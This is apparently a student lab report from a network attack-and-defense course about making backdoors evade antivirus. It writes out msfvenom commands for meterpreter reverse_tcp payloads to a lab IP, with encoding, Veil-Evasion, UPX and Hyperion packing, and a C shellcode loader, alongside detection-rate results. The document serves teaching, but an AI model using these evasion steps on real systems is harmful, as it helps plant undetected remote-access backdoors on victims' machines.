标签:名称 scan shellcode 综述 创建 默认参数 ORC 压缩 href
一、实验介绍
二、实验内容
三、实验要求
四、实验感想
实验二中我们利用msf生成过后门程序backdoor.exe,利用VirusTotal、Virscan两个网站进行恶意软件检测。
使用VirusTotal的检测结果如下:
使用Virscan的检测结果如下:
由此可见直接生成的exe文件能够被绝大多数杀毒软件识别,免杀性较低
一次编码使用指令:-e
选择编码器,-b
是payload中需要去除的字符,该命令中为了使‘\x00‘不出现在shellcode中,因为shellcode以‘\x00‘为结束符。
在命令行输入msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00‘ LHOST=192.168.40.132 LPORT=5311 -f exe > 5311msf.exe
注意,结果奚晨妍同学的提醒,这里的引号需要用英文引号而不是中文的,老师给出的是中文所以运行出来是产生不了正确的exe文件,下图为对比图。
十次编码使用命令:i
设置迭代次数,msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00‘ LHOST=192.168.40.132 LPORT=5311 -f exe > 5311msf.exe
shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,杀软只要盯住这部分就可以了。
msfvenom会以固定的模板生成exe,所有它生成的exe,如果使用默认参数或模板,也有一定的固定特征。所以一般来说AV厂商会针对其使用的模板来生成特征码,这样就一劳永逸地解决所有msfvenom生成的恶意代码了。那如果使用msfvenom免杀,就要使用原生的模板。
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.40.132 LPORT=5311 x> sxx_backdoor_java.jar
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.40.132 LPORT=5311 x> 20175311_backdoor.php
,稍等片刻即可生成文件mkdir -p ~/.cache/wine
cd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
sudo apt-get install veil-evasion
进行安装veilveil
打开veil,然后一直输入y
直到安装成功,然后就是漫长的等待sudo apt-get purge veil
卸载veil,然后重新安装‘sudo apt-get install veil‘/usr/share/veil/config/setup.sh --force --silent
use evasion
命令进入Evil-Evasionuse c/meterpreter/rev_tcp.py
进入配置界面set LHOST 192.168.40.132
;设置端口号set LPORT 5311
generate
生成文件,并且输入名称veil_c_5311
加壳,全称是可执行程序资源压缩,对相应的资源进行压缩,压缩后仍可运行。它可以用来保护版权,但同时许多病毒也利用它来作为原理。接下来将使用压缩壳和保密壳来进行试验。
使用压缩壳upx,输入upx 5311msf.exe -o sxx_upxed.exe
得到加壳文件
网站检测结果,有44%的杀毒软件可以检测
将电脑的杀毒软件关掉,开始进行kali访问本机电脑主机,进行反弹连接,输入相关参数
可以看到kali成功获取到了我电脑本机的桌面清单
使用加密壳Hyperion,将上一个生成的文件拷贝到/usr/share/windows-binaries/hyperion/
目录中
输入命令wine hyperion.exe -v sxx_upxed.exe sxx_upxed_Hyperion.exe
进行加壳
同理进行反弹连接
网站扫描结果如下:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.40.132 LPORT=5311 -f c
用c语言生成了一段shellcodeunsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
此处省略
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
int main()
{
int (*func)() = (int(*)())buf;
func();
}
i686-w64-mingw32-g++ 20175311.c -o 20175311.exe
编译成为可执行文件2019-2020-2 网络对抗技术 20175311胡济栋 Exp3 免杀原理与实践
标签:名称 scan shellcode 综述 创建 默认参数 ORC 压缩 href
原文地址:https://www.cnblogs.com/hujidong42/p/12558676.html